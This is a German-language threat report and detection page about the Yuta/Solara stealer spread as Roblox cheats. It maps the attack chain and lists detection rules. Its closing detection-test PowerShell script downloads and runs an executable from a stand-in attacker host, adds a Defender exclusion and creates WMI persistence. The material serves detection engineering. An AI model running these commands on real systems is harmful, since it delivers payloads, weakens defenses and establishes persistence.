KI-gestützte Roblox-Cheats liefern den Yuta/Solara Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein bösartiges Roblox-Cheat-Paket kombiniert eine trojanisierte .NET-Oberfläche mit einem Python-Stealer, der über PyInstaller gebündelt ist. Der initiale Loader schwächt die Microsoft Defender-Schutzmaßnahmen, ruft eine zweite Payload-Stufe von MediaFire ab und startet Malware, die von Glove Stealer abgeleitet ist, um Anmeldeinformationen, Cookies, Wallet-Dateien und spielbezogene Assets zu sammeln. Die gestohlenen Daten werden anschließend über verschlüsselte Discord-Webhooks exfiltriert und von einem persistente Discord-Bot-RAT unterstützt.
Untersuchung
Der Bericht bietet eine detaillierte statische Analyse der Malware, einschließlich der Extraktion der PyInstaller-Payload, der Dekompilierung von Python 3.12-Bytecode und der Kartierung des Workflows zum Diebstahl von Anmeldeinformationen. Es wird auch die vollständige mehrstufige Ausführungskette sowie die Abwehrumgehungsmethoden der Betreiber und der fünfstufige Ansatz zur Umgehung des Chrome App-Bound-Verschlüsselungsschutzes beschrieben.
Minderung
Organisationen sollten die Ausführung unbekannter, nicht signierter Binärdateien blockieren, eine strikte Anwendungs-Whitelist anwenden, Änderungen an Defender-Ausnahmen und verdächtige PowerShell-Nutzung überwachen und ungewöhnliche Downloads von Konfigurationsdaten von Pastebin erkennen. Discord-Webhook-Verkehr sollte eingeschränkt oder genau überwacht werden, und Verteidiger sollten auf abnormale Chrome-Starts achten, die Debugger-bezogene Flags verwenden.
Reaktion
Sicherheitsteams sollten bei der Erstellung von winupdate.exe im AppData-Cache, verdächtigen Modifikationen von Registrierungsschlüsseln für Run, der Erstellung von geplanten Aufgaben und ungewöhnlicher Aktivität in Discord-Kanälen alarmieren. Bösartige Dateien sollten in Quarantäne gestellt, unautorisierte Defender-Ausnahmen entfernt und forensische Sammlungen in allen möglicherweise gesammelten Anmeldeinformationen durchgeführt werden.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Knotendefinitionen action_user_execution["<b>Aktion</b> – <b>T1204.002 Benutzerndurchführung</b><br/>Opfer führt trojanisierten WPF-Executor aus, der als Roblox-Cheat-Tool getarnt ist."] class action_user_execution action technique_impair_defenses["<b>Technik</b> – <b>T1562.001 Verteidigung verschlechtern: Tools deaktivieren oder ändern</b><br/>Fügt das aktuelle Verzeichnis über PowerShell zur Windows Defender-Ausnahmeliste hinzu und ändert AMSI/ETW-Funktionen."] class technique_impair_defenses technique tool_powershell["<b>Werkzeug</b><br/>PowerShell-Skript, das verwendet wird, um Defender-Ausnahmen zu ändern und AMSI/ETW zu patchen."] class tool_powershell tool technique_bypass_uac["<b>Technik</b> – <b>T1548.002 Missbrauch der Erhebungskontrolle: UAC umgehen</b><br/>Entführt HKCUSoftwareClassesms-settingsShellOpencommand und startet fodhelper.exe/computerdefaults.exe, um eine hochintegrierte Ausführung zu erreichen."] class technique_bypass_uac technique tool_fodhelper["<b>Werkzeug</b><br/>fodhelper.exe zur Umgehung von UAC verwendet."] class tool_fodhelper tool technique_dead_drop["<b>Technik</b> – <b>T1102.001 Webdienst: Dead Drop Resolver</b><br/>Ruft XOR-verschlüsselte Konfiguration von Pastebin-URLs ab und löst MediaFire-Download-Link auf."] class technique_dead_drop technique technique_ingress_tool["<b>Technik</b> – <b>T1105 Werkzeugübertragung bei Ingress</b><br/>Lädt sekundären, mit PyInstaller gepackten Python-Stealer (winupdate.exe) von MediaFire herunter und speichert ihn in %APPDATA%.cachewinupdate.exe mit versteckten und Systemattributen."] class technique_ingress_tool technique process_secondary_payload["<b>Prozess</b><br/>winupdate.exe (Python Stealer)"] class process_secondary_payload process technique_cred_browser["<b>Technik</b> – <b>T1555.003 Anmeldeinformationen aus Webbrowsern</b><br/>Mehrstufige Umgehung der Chrome App-Bound-Verschlüsselung (Debugger-Breakpoint, COM-Erhebung, Double-DPAPI, DLL-Injektion, UAC-Registrierungshijacking), um entschlüsselte Cookies, Tokens und Passwörter zu erhalten."] class technique_cred_browser technique technique_keylogging["<b>Technik</b> – <b>T1056.001 Eingabenerfassung: Keylogging</b><br/>Installiert einen Low-Level-WH_KEYBOARD_LL-Hook, um Tastenanschläge zu erfassen."] class technique_keylogging technique technique_archive["<b>Technik</b> – <b>T1560.003 Archiv über benutzerdefinierte Methode</b><br/>Packt gestohlene Dateien in einem In-Memory-ZIP, das in Fragmente von ≤25 MB aufgeteilt ist."] class technique_archive technique technique_exfiltration["<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/>Sendet ZIP-Fragmente an eine Discord-Webhook-URL."] class technique_exfiltration technique tool_discord_webhook["<b>Werkzeug</b><br/>Discord-Webhook zur Datenexfiltration verwendet."] class tool_discord_webhook tool technique_discord_rath["<b>Technik</b> – <b>Discord-Bot-RAT</b><br/>Verwendet entschlüsseltes Discord-Bot-Token und Kanal-ID, um Fernbefehle (Shell, Webcam, Trace, etc.) zu empfangen."] class technique_discord_rath technique technique_persistence["<b>Technik</b> – <b>T1547.001 Boot-/Anmeldeautostartexekution</b><br/>Erstellt geplante Aufgabe, HKCU-Runschlüssel, VBS-Startskript, COM-Hijack, PowerShell-Profil-Eintrag und WMI-Ereignisabonnement, um Payload nach Neustart erneut zu starten."] class technique_persistence persistence technique_dynamic_resolution["<b>Technik</b> – <b>T1568 Dynamische Auflösung</b><br/>Holt periodisch Konfiguration von Pastebin zurück, um C2-Endpunkte anzupassen."] class technique_dynamic_resolution technique %% Verbindungen action_user_execution –>|triggers| technique_impair_defenses technique_impair_defenses –>|uses| tool_powershell technique_impair_defenses –>|enables| technique_bypass_uac technique_bypass_uac –>|uses| tool_fodhelper technique_bypass_uac –>|leads to| technique_dead_drop technique_dead_drop –>|retrieves| technique_ingress_tool technique_ingress_tool –>|stores and runs| process_secondary_payload process_secondary_payload –>|executes| technique_cred_browser process_secondary_payload –>|executes| technique_keylogging process_secondary_payload –>|collects data for| technique_archive technique_archive –>|prepares data for| technique_exfiltration technique_exfiltration –>|sends to| tool_discord_webhook tool_discord_webhook –>|feeds| technique_discord_rath technique_discord_rath –>|maintains command channel for| technique_persistence technique_persistence –>|establishes| persistence_mechanisms persistence_mechanisms["<b>Prozess</b><br/>Geplante Aufgabe / Runschlüssel / VBS / COM-Hijack / PowerShell-Profil / WMI-Ereignis"] class persistence_mechanisms process technique_persistence –>|supports| technique_dynamic_resolution technique_dynamic_resolution –>|updates| technique_dead_drop "
Angriffsablauf
Erkennungen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Anzeigen
LOLBAS WScript / CScript (via process_creation)
Anzeigen
Verdächtige Änderungen von Defender-Ausnahmen (via cmdline)
Anzeigen
Verdächtige Binär-/Skripte im Autostart-Standort (via file_event)
Anzeigen
Verdächtiger Versuch der Kommunikation mit Pastebin-Domänen (via proxy)
Anzeigen
IOCs (HashSha256) zur Erkennung: KI-gesteuerte Cheats & gestohlene Geheimnisse: Analyse des Yuta/Solara Roblox Stealers
Anzeigen
Erkennung von Aktivem Speicher-Patching im Roblox Stealer [Windows Sysmon]
Anzeigen
Erkennung von PowerShell-basierter Manipulation des Windows Defenders [Windows PowerShell]
Anzeigen
Roblox Injektion und Manipulation des Windows Defenders [Windows-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie & der Basislinien-Vorflug-Check muss bestanden sein.
Rational: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
- Übertragung von Werkzeugen bei Ingress (T1105): Der Angreifer lädt den bösartigen Roblox-Executor herunter (
SLaunch.exe) von einem kompromittierten Webserver. - Ausführung mit Defender-Manipulation (T1548.002): Mit PowerShell führt der Angreifer
SLaunch.exemit einer Befehlszeile aus, dieAdd-MpPreference -ExclusionPath "C:Roblox"aufruft, um den Roblox-Installationsordner von der Prüfung des Windows Defenders auszuschließen. - Persistenz (T1546.003 / T1547.001): Ein WMI-Ereignisabonnement wird erstellt, um
SLaunch.exebeim Systemstart erneut auszuführen. - Erfassung von Anmeldeinformationen (T1056.001, T1555.003): Während der Injektor läuft, erfasst er Tastatureingaben und extrahiert gespeicherte Roblox-Anmeldeinformationen aus Browser-Speichern.
- Übertragung von Werkzeugen bei Ingress (T1105): Der Angreifer lädt den bösartigen Roblox-Executor herunter (
-
Regressionstestskript: Das folgende PowerShell-Skript reproduziert die Schritte 2–3 und erzeugt die Telemetrie, die die Sigma-Regel erwartet.
# ------------------------------------------------------------ # Roblox Injector-Ausführung + Defender-Ausnahme (TC Script) # ------------------------------------------------------------ # Pfade (nach Bedarf anpassen) $injectorPath = "C:TempSLaunch.exe" $defenderExcl = "C:Roblox" # 1. Sicherstellen, dass der Injektor existiert (Download-Platzhalter) if (-Not (Test-Path $injectorPath)) { Write-Host "Bösartigen Injektor herunterladen..." Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath } # 2. Injektor mit Defender-Ausnahmebefehlszeile ausführen $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`"" Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow # 3. Permanentes WMI-Ereignisabonnement zur Persistenz erstellen $wmiFilter = @" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'SLaunch.exe' "@ $filterPath = "ROOTDEFAULT" $filterName = "RobloxInjectorFilter" $consumerName = "RobloxInjectorConsumer" # Filter registrieren $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter ` -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' } # Befehlszeilen-Verbraucher registrieren $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer ` -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" } # Filter an Verbraucher binden Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding ` -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH } Write-Host "Simulation abgeschlossen – Erkennungstelemetrie sollte generiert worden sein." -
Bereinigungskommandos: Die oben erstellte Defender-Ausnahme und das WMI-Abonnement entfernen.
# Defender-Ausnahme entfernen Remove-MpPreference -ExclusionPath "C:Roblox" # WMI-Filter & Verbraucher löschen $filterPath = "ROOTDEFAULT" Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding ` -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject # Injektorbinary löschen Remove-Item -Path "C:TempSLaunch.exe" -Force